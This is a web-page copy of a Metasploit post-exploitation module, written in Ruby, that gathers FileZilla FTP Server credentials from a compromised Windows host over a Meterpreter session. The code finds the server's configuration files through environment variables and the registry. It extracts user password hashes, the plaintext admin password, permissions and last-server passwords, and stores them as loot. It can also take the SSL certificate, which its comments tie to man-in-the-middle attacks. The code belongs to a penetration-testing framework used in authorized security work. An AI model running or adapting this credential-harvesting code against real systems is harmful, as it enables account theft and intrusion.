Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/filezilla_server.rb
19664 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rexml/document'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Windows Gather FileZilla FTP Server Credential Collection',
16
'Description' => %q{ This module will collect credentials from the FileZilla FTP server if installed. },
17
'License' => MSF_LICENSE,
18
'Author' => [
19
'bannedit', # original idea & module
20
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
21
],
22
'Platform' => ['win'],
23
'SessionTypes' => ['meterpreter' ],
24
'Notes' => {
25
'Stability' => [CRASH_SAFE],
26
'SideEffects' => [],
27
'Reliability' => []
28
},
29
'Compat' => {
30
'Meterpreter' => {
31
'Commands' => %w[
32
core_channel_eof
33
core_channel_open
34
core_channel_read
35
core_channel_write
36
stdapi_registry_query_value_direct
37
stdapi_sys_config_getenv
38
stdapi_sys_config_getuid
39
]
40
}
41
}
42
)
43
)
44
45
register_options([
46
OptBool.new('SSLCERT', [false, 'Loot the SSL Certificate if its there?', false]), # useful perhaps for MITM
47
])
48
end
49
50
def run
51
if session.type != 'meterpreter'
52
print_error 'Only meterpreter sessions are supported by this post module'
53
return
54
end
55
56
progfiles_env = session.sys.config.getenvs('ProgramFiles', 'ProgramFiles(x86)', 'ProgramW6432')
57
locations = []
58
progfiles_env.each_value do |v|
59
next if v.blank?
60
61
locations << v + '\\FileZilla Server\\'
62
end
63
64
keys = [
65
'HKLM\\SOFTWARE\\FileZilla Server',
66
'HKLM\\SOFTWARE\\Wow6432Node\\FileZilla Server',
67
]
68
69
keys.each do |key|
70
begin
71
root_key, base_key = session.sys.registry.splitkey(key)
72
value = session.sys.registry.query_value_direct(root_key, base_key, 'install_dir')
73
rescue Rex::Post::Meterpreter::RequestError => e
74
vprint_error(e.message)
75
next
76
end
77
locations << value.data + '\\'
78
end
79
80
locations = locations.uniq
81
filezilla = check_filezilla(locations)
82
get_filezilla_creds(filezilla) if filezilla
83
end
84
85
def check_filezilla(locations)
86
paths = []
87
begin
88
locations.each do |location|
89
print_status("Checking for FileZilla Server directory in: #{location}")
90
begin
91
session.fs.dir.foreach(location.to_s) do |fdir|
92
['FileZilla Server.xml', 'FileZilla Server Interface.xml'].each do |xmlfile|
93
next unless fdir == xmlfile
94
95
filepath = location + xmlfile
96
print_good("Configuration file found: #{filepath}")
97
paths << filepath
98
end
99
end
100
rescue Rex::Post::Meterpreter::RequestError => e
101
vprint_error(e.message)
102
end
103
end
104
rescue StandardError => e
105
print_error(e.to_s)
106
return
107
end
108
109
if !paths.empty?
110
print_good("Found FileZilla Server on #{sysinfo['Computer']} via session ID: #{session.sid}")
111
print_line
112
return paths
113
end
114
115
return nil
116
end
117
118
def get_filezilla_creds(paths)
119
fs_xml = '' # FileZilla Server.xml - Settings for the local install
120
fsi_xml = '' # FileZilla Server Interface.xml - Last server used with the interface
121
credentials = Rex::Text::Table.new(
122
'Header' => 'FileZilla FTP Server Credentials',
123
'Indent' => 1,
124
'Columns' =>
125
[
126
'Host',
127
'Port',
128
'User',
129
'Password',
130
'SSL'
131
]
132
)
133
134
permissions = Rex::Text::Table.new(
135
'Header' => 'FileZilla FTP Server Permissions',
136
'Indent' => 1,
137
'Columns' =>
138
[
139
'Host',
140
'User',
141
'Dir',
142
'FileRead',
143
'FileWrite',
144
'FileDelete',
145
'FileAppend',
146
'DirCreate',
147
'DirDelete',
148
'DirList',
149
'DirSubdirs',
150
'AutoCreate',
151
'Home'
152
]
153
)
154
155
configuration = Rex::Text::Table.new(
156
'Header' => 'FileZilla FTP Server Configuration',
157
'Indent' => 1,
158
'Columns' =>
159
[
160
'FTP Port',
161
'FTP Bind IP',
162
'Admin Port',
163
'Admin Bind IP',
164
'Admin Password',
165
'SSL',
166
'SSL Certfile',
167
'SSL Key Password'
168
]
169
)
170
171
lastserver = Rex::Text::Table.new(
172
'Header' => 'FileZilla FTP Last Server',
173
'Indent' => 1,
174
'Columns' =>
175
[
176
'IP',
177
'Port',
178
'Password'
179
]
180
)
181
182
paths.each do |path|
183
file = session.fs.file.new(path, 'rb')
184
until file.eof?
185
if path.include? 'FileZilla Server.xml'
186
fs_xml << file.read
187
elsif path.include? 'FileZilla Server Interface.xml'
188
fsi_xml << file.read
189
end
190
end
191
file.close
192
end
193
194
# user credentials password is just an MD5 hash
195
# admin pass is just plain text. Priorities?
196
creds, perms, config = parse_server(fs_xml)
197
198
creds.each do |cred|
199
credentials << [cred['host'], cred['port'], cred['user'], cred['password'], cred['ssl']]
200
201
service_data = {
202
address: session.session_host,
203
port: config['ftp_port'],
204
service_name: 'ftp',
205
protocol: 'tcp',
206
workspace_id: myworkspace_id
207
}
208
209
credential_data = {
210
origin_type: :session,
211
jtr_format: 'raw-md5',
212
session_id: session_db_id,
213
post_reference_name: refname,
214
private_type: :nonreplayable_hash,
215
private_data: cred['password'],
216
username: cred['user']
217
}
218
219
credential_data.merge!(service_data)
220
221
credential_core = create_credential(credential_data)
222
223
# Assemble the options hash for creating the Metasploit::Credential::Login object
224
login_data = {
225
core: credential_core,
226
status: Metasploit::Model::Login::Status::UNTRIED
227
}
228
229
# Merge in the service data and create our Login
230
login_data.merge!(service_data)
231
create_credential_login(login_data)
232
end
233
234
perms.each do |perm|
235
permissions << [
236
perm['host'], perm['user'], perm['dir'], perm['fileread'], perm['filewrite'],
237
perm['filedelete'], perm['fileappend'], perm['dircreate'], perm['dirdelete'], perm['dirlist'],
238
perm['dirsubdirs'], perm['autocreate'], perm['home']
239
]
240
end
241
242
# report the goods!
243
if config['admin_pass'] == '<none>'
244
vprint_status('Detected Default Adminstration Settings:')
245
else
246
vprint_status('Collected the following configuration details:')
247
service_data = {
248
address: session.session_host,
249
port: config['admin_port'],
250
service_name: 'filezilla-admin',
251
protocol: 'tcp',
252
workspace_id: myworkspace_id
253
}
254
255
credential_data = {
256
origin_type: :session,
257
session_id: session_db_id,
258
post_reference_name: refname,
259
private_type: :password,
260
private_data: config['admin_pass'],
261
username: 'admin'
262
}
263
264
credential_data.merge!(service_data)
265
266
credential_core = create_credential(credential_data)
267
268
# Assemble the options hash for creating the Metasploit::Credential::Login object
269
login_data = {
270
core: credential_core,
271
status: Metasploit::Model::Login::Status::UNTRIED
272
}
273
274
# Merge in the service data and create our Login
275
login_data.merge!(service_data)
276
create_credential_login(login_data)
277
end
278
279
vprint_status(" FTP Port: #{config['ftp_port']}")
280
vprint_status(" FTP Bind IP: #{config['ftp_bindip']}")
281
vprint_status(" SSL: #{config['ssl']}")
282
vprint_status(" Admin Port: #{config['admin_port']}")
283
vprint_status(" Admin Bind IP: #{config['admin_bindip']}")
284
vprint_status(" Admin Pass: #{config['admin_pass']}")
285
vprint_line
286
287
configuration << [
288
config['ftp_port'], config['ftp_bindip'], config['admin_port'], config['admin_bindip'],
289
config['admin_pass'], config['ssl'], config['ssl_certfile'], config['ssl_keypass']
290
]
291
292
begin
293
lastser = parse_interface(fsi_xml)
294
lastserver << [lastser['ip'], lastser['port'], lastser['password']]
295
vprint_status('Last Server Information:')
296
vprint_status(" IP: #{lastser['ip']}")
297
vprint_status(" Port: #{lastser['port']}")
298
vprint_status(" Password: #{lastser['password']}")
299
vprint_line
300
rescue StandardError
301
vprint_error('Could not parse FileZilla Server Interface.xml')
302
end
303
loot_path = store_loot('filezilla.server.creds', 'text/csv', session, credentials.to_csv,
304
'filezilla_server_credentials.csv', 'FileZilla FTP Server Credentials')
305
print_status("Credentials saved in: #{loot_path}")
306
307
loot_path = store_loot('filezilla.server.perms', 'text/csv', session, permissions.to_csv,
308
'filezilla_server_permissions.csv', 'FileZilla FTP Server Permissions')
309
print_status("Permissions saved in: #{loot_path}")
310
311
loot_path = store_loot('filezilla.server.config', 'text/csv', session, configuration.to_csv,
312
'filezilla_server_configuration.csv', 'FileZilla FTP Server Configuration')
313
print_status(" Config saved in: #{loot_path}")
314
315
loot_path = store_loot('filezilla.server.lastser', 'text/csv', session, lastserver.to_csv,
316
'filezilla_server_lastserver.csv', 'FileZilla FTP Last Server')
317
print_status(" Last server history: #{loot_path}")
318
319
print_line
320
end
321
322
def parse_server(data)
323
creds = []
324
perms = []
325
groups = []
326
settings = {}
327
users = 0
328
passwords = 0
329
330
begin
331
doc = REXML::Document.new(data).root
332
rescue REXML::ParseException
333
print_error('Invalid xml format')
334
end
335
336
opt = doc.elements.to_a('Settings/Item')
337
if opt[1].nil? # Default value will only have a single line, for admin port - no adminstration settings
338
settings['admin_port'] = begin
339
opt[0].text
340
rescue StandardError
341
'<none>'
342
end
343
settings['ftp_port'] = 21
344
else
345
settings['ftp_port'] = begin
346
opt[0].text
347
rescue StandardError
348
21
349
end
350
settings['admin_port'] = begin
351
opt[16].text
352
rescue StandardError
353
'<none>'
354
end
355
end
356
settings['admin_pass'] = begin
357
opt[17].text
358
rescue StandardError
359
'<none>'
360
end
361
settings['local_host'] = begin
362
opt[18].text
363
rescue StandardError
364
''
365
end
366
settings['bindip'] = begin
367
opt[38].text
368
rescue StandardError
369
''
370
end
371
settings['ssl'] = begin
372
opt[42].text
373
rescue StandardError
374
''
375
end
376
377
# empty means localhost only * is 0.0.0.0
378
if settings['local_host']
379
settings['admin_bindip'] = settings['local_host']
380
else
381
settings['admin_bindip'] = '127.0.0.1'
382
end
383
settings['admin_bindip'] = '0.0.0.0' if settings['admin_bindip'] == '*' || settings['admin_bindip'].empty?
384
385
if settings['bindip']
386
settings['ftp_bindip'] = settings['bindip']
387
else
388
settings['ftp_bindip'] = '127.0.0.1'
389
end
390
settings['ftp_bindip'] = '0.0.0.0' if settings['ftp_bindip'] == '*' || settings['ftp_bindip'].empty?
391
392
settings['ssl'] = settings['ssl'] == '1'
393
if !settings['ssl'] && datastore['SSLCERT']
394
print_error('Cannot loot the SSL Certificate, SSL is disabled in the configuration file')
395
end
396
397
settings['ssl_certfile'] = begin
398
items[45].text
399
rescue StandardError
400
'<none>'
401
end
402
# Get the file if it is there. It could be useful in MITM attacks
403
if settings['ssl_certfile'] != '<none>' && settings['ssl'] && datastore['SSLCERT']
404
sslfile = session.fs.file.new(settings['ssl_certfile'])
405
sslcert << sslfile.read until sslfile.eof?
406
store_loot('filezilla.server.ssl.cert', 'text/plain', session, sslfile,
407
settings['ssl_cert'] + '.txt', 'FileZilla Server SSL Certificate File')
408
print_status('Looted SSL Certificate File')
409
end
410
411
settings['ssl_certfile'] = '<none>' if settings['ssl_certfile'].nil?
412
413
settings['ssl_keypass'] = begin
414
items[50].text
415
rescue StandardError
416
'<none>'
417
end
418
settings['ssl_keypass'] = '<none>' if settings['ssl_keypass'].nil?
419
420
vprint_status('Collected the following credentials:') if doc.elements['Users']
421
422
doc.elements.each('Users/User') do |user|
423
account = {}
424
opt = user.elements.to_a('Option')
425
account['user'] = begin
426
user.attributes['Name']
427
rescue StandardError
428
'<none>'
429
end
430
account['password'] = begin
431
opt[0].text
432
rescue StandardError
433
'<none>'
434
end
435
account['group'] = begin
436
opt[1].text
437
rescue StandardError
438
'<none>'
439
end
440
users += 1
441
passwords += 1
442
groups << account['group']
443
444
user.elements.to_a('Permissions/Permission').each do |permission|
445
perm = {}
446
opt = permission.elements.to_a('Option')
447
perm['user'] = begin
448
user.attributes['Name']
449
rescue StandardError
450
'<unknown>'
451
end
452
perm['dir'] = begin
453
permission.attributes['Dir']
454
rescue StandardError
455
'<unknown>'
456
end
457
perm['fileread'] = begin
458
opt[0].text
459
rescue StandardError
460
'<unknown>'
461
end
462
perm['filewrite'] = begin
463
opt[1].text
464
rescue StandardError
465
'<unknown>'
466
end
467
perm['filedelete'] = begin
468
opt[2].text
469
rescue StandardError
470
'<unknown>'
471
end
472
perm['fileappend'] = begin
473
opt[3].text
474
rescue StandardError
475
'<unknown>'
476
end
477
perm['dircreate'] = begin
478
opt[4].text
479
rescue StandardError
480
'<unknown>'
481
end
482
perm['dirdelete'] = begin
483
opt[5].text
484
rescue StandardError
485
'<unknown>'
486
end
487
perm['dirlist'] = begin
488
opt[6].text
489
rescue StandardError
490
'<unknown>'
491
end
492
perm['dirsubdirs'] = begin
493
opt[7].text
494
rescue StandardError
495
'<unknown>'
496
end
497
perm['autocreate'] = begin
498
opt[9].text
499
rescue StandardError
500
'<unknown>'
501
end
502
perm['host'] = settings['ftp_bindip']
503
504
opt[8].text == '1' ? (perm['home'] = 'true') : (perm['home'] = 'false')
505
506
perms << perm
507
end
508
509
user.elements.to_a('IpFilter/Allowed').each do |allowed|
510
end
511
user.elements.to_a('IpFilter/Disallowed').each do |disallowed|
512
end
513
514
account['host'] = settings['ftp_bindip']
515
account['port'] = settings['ftp_port']
516
account['ssl'] = settings['ssl'].to_s
517
creds << account
518
519
vprint_status(" Username: #{account['user']}")
520
vprint_status(" Password: #{account['password']}")
521
vprint_status(" Group: #{account['group']}") if account['group']
522
vprint_line
523
end
524
525
# Rather than printing out all the values, just count up
526
groups = groups.uniq unless groups.uniq.nil?
527
if !datastore['VERBOSE']
528
print_status('Collected the following credentials:')
529
print_status(" Usernames: #{users}")
530
print_status(" Passwords: #{passwords}")
531
print_status(" Groups: #{groups.length}")
532
print_line
533
end
534
return [creds, perms, settings]
535
end
536
537
def parse_interface(data)
538
lastser = {}
539
540
begin
541
doc = REXML::Document.new(data).root
542
rescue REXML::ParseException
543
print_error('Invalid xml format')
544
return lastser
545
end
546
547
opt = doc.elements.to_a('Settings/Item')
548
549
opt.each do |item|
550
case item.attributes['name']
551
when /Address/
552
lastser['ip'] = item.text
553
when /Port/
554
lastser['port'] = item.text
555
when /Password/
556
lastser['password'] = item.text
557
end
558
end
559
560
lastser['password'] = '<none>' if lastser['password'].nil?
561
562
lastser
563
end
564
565
def got_root?
566
session.sys.config.getuid =~ /SYSTEM/ ? true : false
567
end
568
569
def whoami
570
session.sys.config.getenv('USERNAME')
571
end
572
end
573
574